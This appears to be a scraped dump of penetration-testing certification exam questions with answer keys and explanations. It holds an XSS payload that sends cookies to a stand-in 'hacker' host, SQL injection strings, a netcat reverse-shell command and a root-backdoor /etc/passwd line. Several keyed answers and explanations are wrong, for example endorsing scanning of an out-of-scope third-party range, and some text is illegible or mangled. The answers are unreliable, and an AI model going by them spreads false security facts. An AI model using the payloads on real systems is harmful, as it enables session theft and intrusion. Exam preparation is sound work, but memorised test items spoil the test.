A Web Application Firewall (WAF) is designed to monitor, filter or block traffic to a web application. A WAF will monitor incoming and outgoing traffic from a web application and is often used to protect web servers from attacks such as SQL Injection, Cross-Site Scripting (XSS), and other forms of attacks. If a WAF detects an attack, it will often reset the TCP connection, causing the connection to be terminated. As a result, a penetration tester may see TCP resets when a WAF is present. Therefore, the most likely reason for the TCP resets returning from the web server is that the web server is using a WAF.

#### NEW QUESTION 171

A penetration tester downloaded the following Perl script that can be used to identify vulnerabilities in network switches. However, the script is not working properly.

Which of the following changes should the tester apply to make the script work as intended?

- A. Change line 2 to \$ip= €10.192.168.254€;
- B. Remove lines 3, 5, and 6.
- C. Remove line 6.
- D. Move all the lines below line 7 to the top of the script.

**Answer:** B

#### Explanation:

<https://www.asc.ohio-state.edu/lewis.239/Class/Perl/perl.html> Example script:

```
#!/usr/bin/perl
$ip=$argv[1]; attack($ip); sub attack { print("x");
}
```

#### NEW QUESTION 174

Which of the following types of information would MOST likely be included in an application security assessment report addressed to developers? (Choose two.)

- A. Use of non-optimized sort functions
- B. Poor input sanitization
- C. Null pointer dereferences
- D. Non-compliance with code style guide
- E. Use of deprecated Javadoc tags
- F. A cyclomatic complexity score of 3

**Answer:** BC

#### NEW QUESTION 179

A penetration tester downloaded a Java application file from a compromised web server and identifies how to invoke it by looking at the following log:

```
17:34:23 - F - Info: New connection established :8443
17:34:23 - F - User: bmarney
17:34:23 - F - PW length 15
17:34:23 - F - login exec (/www/app/jre/bin/java -cp ./commapp.jar approval 192.168.0.1 bmarney
17:34:23 - F - login rc:0
```

Which of the following is the order of steps the penetration tester needs to follow to validate whether the Java application uses encryption over sockets?

- A. Run an application vulnerability scan and then identify the TCP ports used by the application.
- B. Run the application attached to a debugger and then review the application's log.
- C. Disassemble the binary code and then identify the break points.
- D. Start a packet capture with Wireshark and then run the application.

**Answer:** D

#### NEW QUESTION 180

A new client hired a penetration-testing company for a month-long contract for various security assessments against the client's new service. The client is expecting to make the new service publicly available shortly after the assessment is complete and is planning to fix any findings, except for critical issues, after the service is made public. The client wants a simple report structure and does not want to receive daily findings.

Which of the following is most important for the penetration tester to define FIRST?

- A. Establish the format required by the client.

- B. Establish the threshold of risk to escalate to the client immediately.
- C. Establish the method of potential false positives.
- D. Establish the preferred day of the week for reporting.

**Answer:** B

#### NEW QUESTION 181

A penetration tester has gained access to a network device that has a previously unknown IP range on an interface. Further research determines this is an always-on VPN tunnel to a third-party supplier.  
Which of the following is the BEST action for the penetration tester to take?

- A. Utilize the tunnel as a means of pivoting to other internal devices.
- B. Disregard the IP range, as it is out of scope.
- C. Stop the assessment and inform the emergency contact.
- D. Scan the IP range for additional systems to exploit.

**Answer:** D

#### NEW QUESTION 183

The results of an Nmap scan are as follows:  
Starting Nmap 7.80 ( <https://nmap.org> ) at 2021-01-24 01:10 EST  
Nmap scan report for ( 10.2.1.22 ) Host is up (0.0102s latency).  
Not shown: 998 filtered ports Port State Service  
80/tcp open http  
|\_http-title: 80F 22% RH 1009.1MB (text/html)  
|\_http-slowloris-check:  
| VULNERABLE:  
| Slowloris DoS Attack  
| <..>  
Device type: bridge|general purpose  
Running (JUST GUESSING) : QEMU (95%)  
OS CPE: cpe:/a:qemu:qemu  
No exact OS matches found for host (test conditions non-ideal).  
OS detection performed. Please report any incorrect results at <https://nmap.org/submit/>. Nmap done: 1 IP address (1 host up) scanned in 107.45 seconds  
Which of the following device types will MOST likely have a similar response? (Choose two.)

- A. Network device
- B. Public-facing web server
- C. Active Directory domain controller
- D. IoT/embedded device
- E. Exposed RDP
- F. Print queue

**Answer:** BD

#### Explanation:

<https://www.netscout.com/what-is-ddos/slowloris-attacks>

From the http-title in the output, this looks like an IoT device with RH implying Relative Humidity, that offers a web-based interface for visualizing the results.

#### NEW QUESTION 186

A software development team is concerned that a new product's 64-bit Windows binaries can be deconstructed to the underlying code. Which of the following tools can a penetration tester utilize to help the team gauge what an attacker might see in the binaries?

- A. Immunity Debugger
- B. OllyDbg
- C. GDB
- D. Drozer

**Answer:** B

#### NEW QUESTION 189

A penetration tester wants to test a list of common passwords against the SSH daemon on a network device. Which of the following tools would be BEST to use for this purpose?

- A. Hashcat
- B. Mimikatz
- C. Patator
- D. John the Ripper

**Answer:** C

#### Explanation:

<https://www.kali.org/tools/patator/>

#### NEW QUESTION 192

A red team completed an engagement and provided the following example in the report to describe how the team gained access to a web server:  
x' OR role LIKE '%admin%'  
Which of the following should be recommended to remediate this vulnerability?

- A. Multifactor authentication
- B. Encrypted communications
- C. Secure software development life cycle
- D. Parameterized queries

**Answer:** D

#### NEW QUESTION 193

Given the following code:

```
<SCRIPT>var+img=new+Image();img.src="http://hacker/%20+%20document.cookie;</SCRIPT>
```

Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)

- A. Web-application firewall
- B. Parameterized queries
- C. Output encoding
- D. Session tokens
- E. Input validation
- F. Base64 encoding

**Answer:** CE

#### Explanation:

Encoding (commonly called "Output Encoding") involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example translating the < character into the &lt; string when writing to an HTML page.

#### NEW QUESTION 198

A penetration tester discovers that a web server within the scope of the engagement has already been compromised with a backdoor. Which of the following should the penetration tester do NEXT?

- A. Forensically acquire the backdoor Trojan and perform attribution
- B. Utilize the backdoor in support of the engagement
- C. Continue the engagement and include the backdoor finding in the final report
- D. Inform the customer immediately about the backdoor

**Answer:** D

#### NEW QUESTION 202

A penetration tester has extracted password hashes from the lsass.exe memory process. Which of the following should the tester perform NEXT to pass the hash and provide persistence with the newly acquired credentials?

- A. Use Patator to pass the hash and Responder for persistence.
- B. Use Hashcat to pass the hash and Empire for persistence.
- C. Use a bind shell to pass the hash and WMI for persistence.
- D. Use Mimikatz to pass the hash and PsExec for persistence.

**Answer:** D

#### Explanation:

Mimikatz is a credential hacking tool that can be used to extract logon passwords from the LSASS process and pass them to other systems. Once the tester has the hashes, they can then use PsExec, a command-line utility from Sysinternals, to pass the hash to the remote system and authenticate with the new credentials. This provides the tester with persistence on the system, allowing them to access it even after a reboot.

"A penetration tester who has extracted password hashes from the lsass.exe memory process can use various tools to pass the hash and gain access to other systems using the same credentials. One tool commonly used for this purpose is Mimikatz, which can extract plaintext passwords from memory or provide a pass-the-hash capability. After gaining access to a system, the tester can use various tools for persistence, such as PsExec or WMI." (CompTIA PenTest+ Study Guide, p. 186)

#### NEW QUESTION 207

In an unprotected network file repository, a penetration tester discovers a text file containing usernames and passwords in cleartext and a spreadsheet containing data for 50 employees, including full names, roles, and serial numbers. The tester realizes some of the passwords in the text file follow the format: <name-serial\_number>. Which of the following would be the best action for the tester to take NEXT with this information?

- A. Create a custom password dictionary as preparation for password spray testing.
- B. Recommend using a password manager/vault instead of text files to store passwords securely.
- C. Recommend configuring password complexity rules in all the systems and applications.
- D. Document the unprotected file repository as a finding in the penetration-testing report.

**Answer:** D

#### NEW QUESTION 212

Which of the following documents must be signed between the penetration tester and the client to govern how any provided information is managed before, during, and after the engagement?

- A. MSA
- B. NDA
- C. SOW
- D. ROE

**Answer:** B



**NEW QUESTION 213**

A penetration tester has established an on-path attack position and must now specially craft a DNS query response to be sent back to a target host. Which of the following utilities would BEST support this objective?

- A. Socat
- B. tcpdump
- C. Scapy
- D. dig

**Answer: C**

**Explanation:**

<https://thepacketgeek.com/scapy/building-network-tools/part-09/>

**NEW QUESTION 216**

Which of the following BEST describes why a client would hold a lessons-learned meeting with the penetration-testing team?

- A. To provide feedback on the report structure and recommend improvements
- B. To discuss the findings and dispute any false positives
- C. To determine any processes that failed to meet expectations during the assessment
- D. To ensure the penetration-testing team destroys all company data that was gathered during the test

**Answer: C**

**NEW QUESTION 220**

Running a vulnerability scanner on a hybrid network segment that includes general IT servers and industrial control systems:

- A. will reveal vulnerabilities in the Modbus protocol.
- B. may cause unintended failures in control systems.
- C. may reduce the true positive rate of findings.
- D. will create a denial-of-service condition on the IP networks.

**Answer: B**

**NEW QUESTION 221**

After gaining access to a previous system, a penetration tester runs an Nmap scan against a network with the following results:

```
Nmap scan report for 192.168.10.10
```

Port	State	Service	Version
135/tcp	open	msrpc	Microsoft Windows RPC
139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
5985/tcp	open	Microsoft	HTTPAPI httpd 2.0 (SSDP/UPnP)

```
Nmap scan report for 192.168.10.11
```

Port	State	Service	Version
135/tcp	open	msrpc	Microsoft Windows RPC
139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
3389/tcp	open	ms-wbt-server	Microsoft Terminal Services

The tester then runs the following command from the previous exploited system, which fails: Which of the following explains the reason why the command failed?

- A. The tester input the incorrect IP address.
- B. The command requires the -port 135 option.
- C. An account for RDP does not exist on the server.
- D. PowerShell requires administrative privilege.

**Answer: C**

**NEW QUESTION 225**

An Nmap scan of a network switch reveals the following:

```
Nmap scan report for 192.168.1.254
Host is up 10.014s latency),
Not shown: 96 closed ports
Port      State  Service
22/tcp    open   ssh
23/tcp    open   telnet
60/tcp    open   http
443/tcp   open   https
```

Which of the following technical controls will most likely be the FIRST recommendation for this device?

- A. Encrypted passwords
- B. System-hardening techniques
- C. Multifactor authentication
- D. Network segmentation



**Answer:** B

#### NEW QUESTION 229

A penetration tester who is doing a company-requested assessment would like to send traffic to another system using double tagging. Which of the following techniques would BEST accomplish this goal?

- A. RFID cloning
- B. RFID tagging
- C. Meta tagging
- D. Tag nesting

**Answer:** D

#### Explanation:

since vlan hopping requires 2 vlans to be nested in a single packet. Double tagging occurs when an attacker adds and modifies tags on an Ethernet frame to allow the sending of packets through any VLAN. This attack takes advantage of how many switches process tags. Most switches will only remove the outer tag and forward the frame to all native VLAN ports. With that said, this exploit is only successful if the attacker belongs to the native VLAN of the trunk link.  
<https://cybersecurity.att.com/blogs/security-essentials/vlan-hopping-and-mitigation>

#### NEW QUESTION 231

A penetration-testing team is conducting a physical penetration test to gain entry to a building. Which of the following is the reason why the penetration testers should carry copies of the engagement documents with them?

- A. As backup in case the original documents are lost
- B. To guide them through the building entrances
- C. To validate the billing information with the client
- D. As proof in case they are discovered

**Answer:** D

#### NEW QUESTION 236

A penetration tester was able to compromise a web server and move laterally into a Linux web server. The tester now wants to determine the identity of the last user who signed in to the web server. Which of the following log files will show this activity?

- A. /var/log/messages
- B. /var/log/last\_user
- C. /var/log/user\_log
- D. /var/log/lastlog

**Answer:** D

#### Explanation:

The /var/log/lastlog file is a log file that stores information about the last user to sign in to the server. This file stores information such as the username, IP address, and timestamp of the last user to sign in to the server. It can be used by a penetration tester to determine the identity of the last user who signed in to the web server, which can be helpful in identifying the user who may have set up the backdoors and other malicious activities.

#### NEW QUESTION 237

An exploit developer is coding a script that submits a very large number of small requests to a web server until the server is compromised. The script must examine each response received and compare the data to a large number of strings to determine which data to submit next. Which of the following data structures should the exploit developer use to make the string comparison and determination as efficient as possible?

- A. A list
- B. A tree
- C. A dictionary
- D. An array

**Answer:** C

#### Explanation:

data structures are used to store data in an organized form, and some data structures are more efficient and suitable for certain operations than others. For example, hash tables, skip lists and jump lists are some dictionary data structures that can insert and access elements efficiently<sup>3</sup>.

For string comparison, there are different algorithms that can measure how similar two strings are, such as Levenshtein distance, Hamming distance or Jaccard similarity<sup>4</sup>. Some of these algorithms can be implemented using data structures such as arrays or hashtables<sup>5</sup>.

#### NEW QUESTION 242

A penetration tester captured the following traffic during a web-application test:

[illegible]

Which of the following methods should the tester use to visualize the authorization information being transmitted?

- A. Decode the authorization header using UTF-8.  
B. Decrypt the authorization header using bcrypt.  
C. Decode the authorization header using Base64.  
D. Decrypt the authorization header using AES.

**Answer: C**

**NEW QUESTION 243**

A penetration tester needs to perform a vulnerability scan against a web server. Which of the following tools is the tester MOST likely to choose?

- A. Nmap  
B. Nikto  
C. Cain and Abel  
D. Ethercap

**Answer: B**

**Explanation:**

<https://hackertarget.com/nikto-website-scanner/>

### NEW QUESTION 248

A penetration tester has gained access to the Chief Executive Officer's (CEO's) internal, corporate email. The next objective is to gain access to the network. Which of the following methods will MOST likely work?

- A. Try to obtain the private key used for S/MIME from the CEO's account.
- B. Send an email from the CEO's account, requesting a new account.
- C. Move laterally from the mail server to the domain controller.
- D. Attempt to escalate privileges on the mail server to gain root access.

**Answer: D**

## NEW QUESTION 249

A penetration tester is looking for vulnerabilities within a company's web application that are in scope. The penetration tester discovers a login page and enters the following string in a field:

```
1;SELECT Username, Password FROM Users;
```

Which of the following injection attacks is the penetration tester using?

- A. Blind SQL
- B. Boolean SQL
- C. Stacked queries
- D. Error-based

**Answer: D**

### NEW QUESTION 250

A security engineer identified a new server on the network and wants to scan the host to determine if it is running an approved version of Linux and a patched version of Apache. Which of the following commands will accomplish this task?

- A. `nmap -f -sV -p80 192.168.1.20`  
 B. `nmap -sS -sL -p80 192.168.1.20`  
 C. `nmap -A -T4 -p80 192.168.1.20`  
 D. `nmap -O -v -p80 192.168.1.20`

**Answer: C**

**NEW QUESTION 251**

A penetration tester receives the following results from an Nmap scan:

Interesting ports on 192.168.1.1:

Port	State	Service
21/tcp	closed	ftp
22/tcp	open	ssh
23/tcp	closed	telnet
25/tcp	closed	smtp
80/tcp	open	http
110/tcp	closed	pop3
139/tcp	closed	nethics-ssn
443/tcp	closed	https
3389/tcp	closed	rdp

Which of the following OSs is the target MOST likely running?

- A. CentOS
- B. Arch Linux
- C. Windows Server
- D. Ubuntu

**Answer: C**

#### NEW QUESTION 254

A red-team tester has been contracted to emulate the threat posed by a malicious insider on a company's network, with the constrained objective of gaining access to sensitive personnel files. During the assessment, the red-team tester identifies an artifact indicating possible prior compromise within the target environment.

Which of the following actions should the tester take?

- A. Perform forensic analysis to isolate the means of compromise and determine attribution.
- B. Incorporate the newly identified method of compromise into the red team's approach.
- C. Create a detailed document of findings before continuing with the assessment.
- D. Halt the assessment and follow the reporting procedures as outlined in the contract.

**Answer: D**

#### NEW QUESTION 258

A client has requested that the penetration test scan include the following UDP services: SNMP, NetBIOS, and DNS. Which of the following Nmap commands will perform the scan?

- A. `nmap -vv sUV -p 53, 123-159 10.10.1.20/24 -oA udpscan`
- B. `nmap -vv sUV -p 53,123,161-162 10.10.1.20/24 -oA udpscan`
- C. `nmap -vv sUV -p 53,137-139,161-162 10.10.1.20/24 -oA udpscan`
- D. `nmap -vv sUV -p 53, 122-123, 160-161 10.10.1.20/24 -oA udpscan`

**Answer: C**

#### NEW QUESTION 261

Which of the following documents is agreed upon by all parties associated with the penetration-testing engagement and defines the scope, contacts, costs, duration, and deliverables?

- A. SOW
- B. SLA
- C. MSA
- D. NDA

**Answer: A**

#### NEW QUESTION 266

Which of the following BEST explains why a penetration tester cannot scan a server that was previously scanned successfully?

- A. The IP address is wrong.
- B. The server is unreachable.
- C. The IP address is on the blocklist.
- D. The IP address is on the allow list.

**Answer: C**

#### Explanation:

The most likely explanation for why a penetration tester cannot scan a server that was previously scanned successfully is that the IP address is on the blocklist. Blocklists are used to prevent malicious actors from scanning servers, and if the IP address of the server is on the blocklist, the scanning process will be blocked.

#### NEW QUESTION 269

A large client wants a penetration tester to scan for devices within its network that are Internet facing. The client is specifically looking for Cisco devices with no authentication requirements. Which of the following settings in Shodan would meet the client's requirements?

- A. "cisco-ios" "admin+1234"
- B. "cisco-ios" "no-password"

- C. "cisco-ios" "default-passwords"
- D. "cisco-ios" "last-modified"

**Answer:** B

#### NEW QUESTION 270

A penetration tester opened a reverse shell on a Linux web server and successfully escalated privileges to root. During the engagement, the tester noticed that another user logged in frequently as root to perform work tasks. To avoid disrupting this user's work, which of the following is the BEST option for the penetration tester to maintain root-level persistence on this server during the test?

- A. Add a web shell to the root of the website.
- B. Upgrade the reverse shell to a true TTY terminal.
- C. Add a new user with ID 0 to the /etc/passwd file.
- D. Change the password of the root user and revert after the test.

**Answer:** C

#### Explanation:

The best option for the penetration tester to maintain root-level persistence on this server during the test is to add a new user with ID 0 to the /etc/passwd file. This will allow the penetration tester to use the same user account as the other user, but with root privileges, meaning that it won't disrupt the other user's work. This can be done by adding a new line with the username and the numerical user ID 0 to the /etc/passwd file. For example, if the username for the other user is "johndoe", the line to add would be "johndoe:x:0:0:John Doe:/root:/bin/bash". After the user is added, the penetration tester can use the "su" command to switch to the new user and gain root privileges.

#### NEW QUESTION 274

A penetration tester has obtained root access to a Linux-based file server and would like to maintain persistence after reboot. Which of the following techniques would BEST support this objective?

- A. Create a one-shot system service to establish a reverse shell.
- B. Obtain /etc/shadow and brute force the root password.
- C. Run the nc -e /bin/sh <...> command.
- D. Move laterally to create a user account on LDAP

**Answer:** A

#### Explanation:

<https://hosakacorp.net/p/systemd-user.html>

#### NEW QUESTION 275

A penetration tester recently completed a review of the security of a core network device within a corporate environment. The key findings are as follows:

- The following request was intercepted going to the network device: GET /login HTTP/1.1

Host: 10.50.100.16

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:31.0) Gecko/20100101 Firefox/31.0 Accept-Language: en-US,en;q=0.5

Connection: keep-alive

Authorization: Basic WU9VUiIQQU1FOnNIY3JldHBhc3N3b3Jk

- Network management interfaces are available on the production network.
- An Nmap scan returned the following:

```
Port      State      Service      Version
22/tcp    open       ssh          Cisco SSH 1.25 (protocol 2.0)
80/tcp    open       http         Cisco IOS http config
|_https-title: Did not follow redirect to https://10.50.100.16
443/tcp   open       https        Cisco IOS https config
```

Which of the following would be BEST to add to the recommendations section of the final report? (Choose two.)

- A. Enforce enhanced password complexity requirements.
- B. Disable or upgrade SSH daemon.
- C. Disable HTTP/301 redirect configuration.
- D. Create an out-of-band network for management.
- E. Implement a better method for authentication.
- F. Eliminate network management and control interfaces.

**Answer:** CD

#### NEW QUESTION 276

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